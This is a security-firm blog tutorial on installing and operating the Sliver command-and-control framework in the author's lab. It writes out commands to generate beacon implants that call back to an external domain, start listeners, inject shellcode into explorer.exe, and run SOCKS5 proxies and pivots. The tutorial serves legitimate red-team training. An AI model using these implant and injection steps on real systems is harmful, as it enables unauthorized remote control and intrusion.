Introduction to Sliver

By Red Siege | November 7, 2022

By: Justin Palk, Security Consultant

Around the time Tim decided he was going to give a Siegecast on selecting a C2, I finished building out a test Windows AD domain in my lab, and I thought it’d be good to mash those up and stand up a few different C2s in my lab and get a little more familiar with how they work. I decided to start with Sliver.

Sliver is a Bishop Fox project, and they describe it as an “open-source cross-platform adversary emulation/red team framework”. Written in Go, it targets Windows, Linux and MacOS, and possibly every other Go compiler target, although the maintainers don’t guarantee that.

Sliver supports multi-user operation, includes multiple C2 channels, all with encryption baked-in, pivoting, BOFs and more. The interface is text-based.

In this blog, I’ll be going over basic server and client installation and setup, building implants (Sliver payloads), and the basics of operating with Sliver. I won’t be covering AV/EDR evasion, hiding Sliver behind a CDN, Sliver scripting or any of Sliver’s add-ons (the armory). There’s a lot more to Sliver than I cover here, this is just a guide to getting started.

Installing the Sliver Server

Sliver has very little in terms of prerequisites, and nearly all of its functionality will work with the single static server binary downloadable from the project’s Github release page.

The major exception to “it’s all in the binary” is cross-compiling. In order to build Windows shellcode, staged or dll binaries on a Linux server I needed to install MinGW using sudo apt install mingw-w64, and I make sure that Metasploit version 5 or greater was installed by running msfconsole --version.

Although the Sliver server can run on Windows and MacOS, the developers recommend running it on Linux. I set mine up on a virtual private server (VPS) with 2GB RAM and 25 GB of storage.

Sliver can be set up to run as a systemd service, but I’m just going to run it as a command-line program in a tmux session for ease of access to its command-line console.

I copied my sliver-server_linux binary to /opt/sliver and ran chmod +x /opt/sliver/sliver-server_linux to make it executable. I then started the server with sudo /opt/sliver/sliver-server_linux


As a single person using this server, I could operate from here, but in a more realistic scenario, there’s going to be a team sharing the server, so I enabled multiplayer mode.

To allow a user to connect to the Sliver server, I need to create a configuration file. The configuration file tells my client where to find the server and also contains the certificates Sliver uses to encrypt communications between the client and server. To create a new user, I entered the following command in the Sliver server console:

new-operator --name justin --lhost 127.0.0.1

The lhost value could be the public-facing IP of the Sliver server, but I chose 127.0.01 as my lhost for reasons that’ll become clear in a moment.

In a separate shell, I ran sudo netstat -tlp and saw that sliver was listening on port tcp/31337.

My intention was to run a Sliver client on a local VM, so I’m needed access to that port. I could’ve opened it up in the firewall, but that’d mean anyone could attempt to connect, and if someone finds a vulnerability in Sliver, that could cause a problem. From an opsec perspective, it would also make my server easier to fingerprint.

Instead of opening that port to the internet, I used an ssh port forward to access port 31337 on localhost. To do this, on my local Kali VM, I opened my .ssh/config file, and added the following block:

host sliver-c2
    hostname <server IP>
    LocalForward 127.0.0.1:31337 127.0.0.1:31337

Adding those lines configured ssh to automatically forward port 31337 on my local machine to 127.0.0.1:31337 on the remote server anytime I run ssh justin@sliver-c2. The connection was encrypted by ssh (although Sliver encrypts connections by default), and the remote port on the server isn’t exposed to the internet. When the time came, I just needed to make sure that was reflected in my Sliver client configuration. To make sure that port forward was available, I ended my ssh session to the server and reconnected.

Using the Sliver Client

Like the Sliver server, the Sliver client is a single binary file, available from Sliver’s Github release page. I downloaded it, and the config file I created on the server a moment ago, to my Kali VM.

To initialize the client I used the following command:

./sliver-client_linux import ./justin_127.0.0.1.cfg

I then ran ./sliver-client_linux to start the client. The first thing the client says is Connecting to 127.0.0.1:31337.

On the server side, the console reported Justin has joined the game. My client had successfully connected to the server.

Operating with Sliver

Implants

Sliver ships with out-of-the box support for a variety of communication channels, including HTTP(S), mtls, WireGuard and dns.

Sliver also provides two operating modes for implants: sessions and beacons. Session implants send heartbeat packets to the server every few seconds, but will otherwise execute commands more or less interactively. Beacons check in with the server at a configurable interval to get commands and return data. As a result, session implants are noisier by default. On the other hand, only session implants can host SOCKS5 proxies, C2 pivots, and port forwards. One can generate a beacon by using the beacon subcommand for generate, as I show below.

To generate an implant, one uses the generate command with flags to specify the C2 channel, server to call back to, target OS (Windows is the default) and whether to do a session implant (the default), or a beacon.

Generating HTTP(S) Implants

Sliver doesn’t really differentiate much between an HTTP implant and an HTTPS beacon. The actual C2 traffic inside each request is encrypted independently of the connection, so an implant may connect over HTTPS or HTTP and the channel will remain secure.

Sliver supports using multiple domains for a single implant. An operator can specify multiple domains as a comma-separated list (e.g. --http attacker.com,offensiveops.com). An operator can also use the domain value to specify path elements that the implant will prepend to each request. So, if an operator specifies --http attacker.com/red/team, all beacon requests will start with <random subdomain>.attacker.com/red/team/.

For this blog, I used the domain ravenrockgifts.com, which was left over from an old project that never went anywhere. I didn’t set the--os flag, because I was targeting a Windows machine, but I did use the beacon subcommand because I wanted a beacon connection, rather than a session.

Compiling the binary took a couple of minutes, and once it was done, I had my implant.

Before I executed my payload, I needed a listener or two. Before getting too far into this, I checked my server’s firewall to make sure the ports I plan on using are open. Sliver HTTP and HTTPS listeners are easy to start with the http and https commands, respectively. The --domain <domain> can be used to ensure the listener responds only to requests for that domain, rather than any HTTP request reaching the port. By default, the HTTPS listener generates a self-signed certificate, but Sliver is compatible with Let’s Encrypt . Taking advantage of this requires certbot to be installed (apt install -y certbot on Kali or Ubuntu). I started a HTTPS listener with Let’s Encrypt using: https --domain ravenrockgifts.com --let's-encrypt. When starting a listener with Let’s Encrypt, be sure to give the listener at least a minute or two to sort out the certbot process before trying to connect to it with an implant.

To start a HTTPS listener with my own certs instead of either Let’s Encrypt or self-signed certs, I could have run https --domain ravenrockgifts.com --cert ./cert.pem --key ./key.pem

Starting a HTTP listener is fairly simple, just http --domain ravenrockgifts.com. Starting an HTTPS listener will also open a listener on port 80 with a redirect to 443. An operator can list active listeners with the jobs command.

DNS Implants

Understandably, DNS implants required a bit more DNS setup. To use a DNS implant, I started by creating an A record for ns1.ravenrockgifts.com. This was my nameserver for the DNS C2. Then I created a NS record, for cdn.ravenrockgifts.com and pointed it at ns1.ravenrockgifts.com, as shown below.

I generated the beacon using the generate beacon command, this time with the --dns flag: generate beacon --dns cdn.ravenrockgifts.com. . Note the provided domain name ends with a period (.). This is required to conform to the DNS protocol.

Starting the listener was similar to starting the HTTP(S) listener, I run dns --domain cdn.ravenrockgifts.com.. Again, I made sure the trailing  . was on the domain name.

Running an Implant

With a listener running I could move my payload to my target Windows workstation and execute it. For this section I’m worked primarily with my HTTP implant and listener. Another note here – the implant I created here is only using Sliver’s basic, built-in obfuscations, and will be readily detected by, for example, Microsoft Defender, so I disabled Defender on my target workstation so I can get execution and test some of the functionality.

I executed the implant, and nothing obvious happened on the target.

Shortly after execution, I got a callback notification on my client.

On the client, I ran the beacons command to see what beacons I had available. For session implants, I would do the same with the sessions command.

I could see that I have a beacon, connecting over HTTP(S), the username it was running as, OS, time since last check-in and time to next check-in. To interact with a beacon, and operator can run either use beacons , which presents the operator with a menu for selecting the beacon to make active. Or, to interact with a session, an operator would instead run use sessions. If the operator knows the ID of specific beacon or session I they want to interact with, they could also just run use with the that beacon or session’s ID.

Having selected a beacon, my prompt now included the name of the implant (in this case, ENCHANTING_BEETLE), and running help showed the commands available to run on the beacon. Sliver includes a variety of standard enumeration and shell-like commands, including ps, netstat, cat, and whoami. Sliver also includes a SOCKS5 proxy, assembly execution, process migration and other standard C2 implant tools.

I executed netstat, and Sliver informed me the task is queued, and eventually, that it’s completed and returned the results.

Sliver logs tasks that beacons execute, and an operator can retrieve a list of queued and completed commands with the tasks command.

I used the tasks fetch <task ID> command to retrieve the details of a specific task.

The reconfig command gives an operator the ability to modify a beacon’s operations, including changing its callback interval and jitter, and rename the beacon. To set a callback of 30 seconds with a five-second jitter, I executed reconfig -i 30s -j 5s. The beacon reconfigured itself on its next callback, and when next I checked the beacons list, I saw the changed callback time.

Spawning new sessions

As I noted previously, beacons and sessions have different capabilities. Beacons tend to be quieter, but sessions allow an operator to do things like port forward, run SOCKS5 proxies and pivot inside a target environment.

The simplest way to start an interactive session from an operating beacon is to use the `interactive` command. By default, this will spawn a new session in the same process as the existing beacon, using the same connection method. So, by running interactive in a beacon using a HTTP(S) C2 channel, I spawned a new session using the same C2 channel.

I also generated an implant as shellcode, then injected it into a process. To generate an http implant as shellcode, I ran generate --format shellcode --http ravenrockgifts.com. I noted that the shellcode is saved into /home/justin/SHOCKED_MOTOR.bin

I used ps on the existing beacon to find the process ID of explorer.exe (5968, in this case), and then used execute-shellcode -p 5968 /home/justin/SHOCKED_MOTOR.bin Almost immediately, I got a callback with the new session.

SOCKS5

Sliver session implants allow an operator to create a SOCKS5 proxy for tunneling traffic into a network through a beacon. To create a proxy, I selected the session I wanted to host the proxy using sessions -i <session ID>  or use <session ID> and then socks5 start. Sliver reports the port for the proxy, and I can start using it to browse (or otherwise access) internal resources.

To get the ID of the proxy I started, and to list out all available proxies, if I had more than one running, I ran sock5. When I was done with my proxy, I killed it by running socks5 stop -i <id>.

Pivots

When attempting to navigate networks that are restricted from calling out to the internet, an operator can use pivots to create a chain of beacons passing C2 traffic back and forth. As with SOCKS5 proxies, pivots are only available on session implants, not beacons.

In this case, I had a machine in my lab, rsl-srv-1.rslabs.lan which I had firewalled off from the internet.

I started my pivot by opening a pivot port on one of my sessions using the pivots tcp command. I also ran the ifconfig command in that session because I needed the IP address of the host the pivot was listening on. As an aside, the operator needs to ensure that the pivot port is open in any host-based firewall on the machine hosting the pivot.

To create the pivot implant, I used generate --tcp-pivot 192.168.1.132:9898 , referring to the IP and port of the pivot I opened shortly before.

I ran the resulting implant on the target server in my lab(as with the workstation, MS Defender was disabled on this machine to more easily allow me to demonstrate basic capabilities), and quickly received a session callback. Running the sessions command showed me the pivot session, including its routing through the session on the workstation.

I executed use 4ddb3e70 and ran info, and I received back information on the server. I was free to operate on the server via my pivot on the workstation.

Conclusion

That’s the basics of installing and using Sliver. As I said in the beginning, there’s a lot more here. Go ahead and stand up your own server, start playing around with it, and then head over to our Discord to share your thoughts.

About Justin Palk, Security Consultant:

Justin Palk has more than 16 years of experience in IT and information security, and has worked in the academic, federal civilian government and health research sectors. He has held a variety of roles including system administrator, developer, auditor, assessment team lead and web application penetration tester. He regularly competes in CTFs in the U.S. and Europe.

Certifications:
GCIH, GWAPT, GPEN, GMOB, GDSA

Connect on Twitter & LinkedIn

Vishing: How to Protect Your Business from Phone-Based Social Engineering Attacks

By Red Siege | September 22, 2023

from Jason Downey, Security Consultant In our digital world today, where cyber stuff keeps changing all the time, there’s this sneaky attack method that’s been popping up more and more […]

Learn More
Vishing: How to Protect Your Business from Phone-Based Social Engineering Attacks

House cat to Hashcat

By Red Siege | August 22, 2023

by Jason Downey, Security Consultant   The Basics  Password cracking is a key tool in every penetration tester’s toolbox and is something blue teamers should do on a regular basis […]

Learn More
House cat to Hashcat

Obfuscating Shellcode Using Jargon

By Red Siege | July 31, 2023

by Mike Saunders, Principal Security Consultant In a recent blog , we discussed how encrypting shellcode leads to increased entropy, which may result in your shellcode loader being blocked and/or […]

Learn More
Obfuscating Shellcode Using Jargon

Find Out What’s Next

Stay in the loop with our upcoming events.